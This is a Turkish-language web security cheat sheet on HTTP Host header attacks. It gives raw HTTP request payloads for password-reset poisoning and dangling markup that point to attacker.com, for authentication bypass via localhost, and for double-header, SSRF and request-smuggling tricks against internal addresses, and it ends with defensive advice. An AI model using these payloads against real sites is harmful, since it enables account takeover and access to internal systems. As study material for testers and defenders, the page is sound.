HTTP Host Header Attack
Host Header Attack Nedir?
HTTP Host başlığının amacı, istemcinin hangi back-end bileşeniyle iletişim kurmak istediğini belirlemeye yardımcı olmaktır.
HTTP Host header saldırıları, Host header değerini güvenli olmayan bir şekilde işleyen savunmasız web sitelerinden yararlanır. Sunucu Host başlığına güveniyorsa ve bunu düzgün bir şekilde doğrulamaz ise bir saldırgan bu girdiyi sunucu tarafı davranışını manipüle eden zararlı payload'lar enjekte etmek için kullanabilir.

Yöntemler
E-posta ve Parola Sıfırlama İstekleri
Eğer parola sıfırlama adresleri host header kullanılarak oluşturuluyor ise kullanıcı linke tıkladığında sıfırlama tokenini ele geçirebiliriz.
POST /reset-password HTTP/1.1
Host: attacker.com
Authentication Bypass
Eğer admin paneli localhosttan gelen isteklerde bazı panellere erişim izni veriyor ise host header ile erişim alabiliriz.
GET /admin HTTP/1.1
Host: localhost
Double Host Header
Eğer site host header değiştiğinde hata veriyorsa ikinci host header geldiğinde hata vermeyebilir. Bu durumda host header yansıyorsa saldırı deneyebiliriz.
GET / HTTP/1.1
Host: example.com
Host: attacker.com
Host Header SSRF
Eğer host alanı iç ağlara istek atmamızı sağlıyorsa ssrf saldırısı gerçekleştirebiliriz.
GET / HTTP/1.1
Host: 192.168.0.1
Eğer üstteki metod işe yaramıyor ise alttaki şekilde denenebilir. Bu zafiyet url parse işlemi hatalı yapılıyor ise çıkar.
GET https://example.com/ HTTP/1.1
Host: 192.168.0.1
Host Header Request Smuggling
Aşağıdaki iki isteği single-connection olarak yolladığımızda ikinci istekte yanıt geliyor.
GET / HTTP/1.1
Host: example.com
Connection: keep-alive
GET /admin HTTP/1.1
Host: 192.168.0.1
Connection: close
Dangling Markup Injection
POST /reset-password HTTP/1.1
Host: example.com:'<a href="//attacker.com/?
Örnekler
Tam URL'ler kullanmanız gerektiğinde, geçerli domain'in bir yapılandırma dosyasında manuel olarak belirtilmesini ve Host başlığı yerine bu değere başvurulmasını zorunlu kılmalısınız. Bu yaklaşım, örneğin parola sıfırlama zehirlenmesi tehdidini ortadan kaldıracaktır.
Host başlığını kullanmanız gerekiyorsa, doğru şekilde doğruladığınızdan emin olun. Bu, izin verilen alan adlarının bir beyaz listesine karşı kontrol edilmesini ve tanınmayan ana bilgisayarlar için herhangi bir isteğin reddedilmesini veya yönlendirilmesini içermelidir.
Özellikle X-Forwarded-Host gibi bu saldırıları oluşturmak için kullanılabilecek ek başlıkları desteklemediğinizi kontrol etmeniz de önemlidir.
İç altyapıya yönelik yönlendirme tabanlı saldırıları önlemek için load balancer'ınızı veya reverse proxy'lerinizi istekleri yalnızca izin verilen alan adlarından oluşan bir beyaz listeye yönlendirecek şekilde yapılandırmalısınız.
Virtual hosting kullanırken, yalnızca dahili web sitelerini ve uygulamaları genel kullanıma açık içerikle aynı sunucuda barındırmaktan kaçınmalısınız. Aksi takdirde saldırganlar Host başlığı manipülasyonu yoluyla dahili alan adlarına erişebilir.
Kaynaklar
Portswigger Academy: https://portswigger.net/web-security/host-header
Last updated
Was this helpful?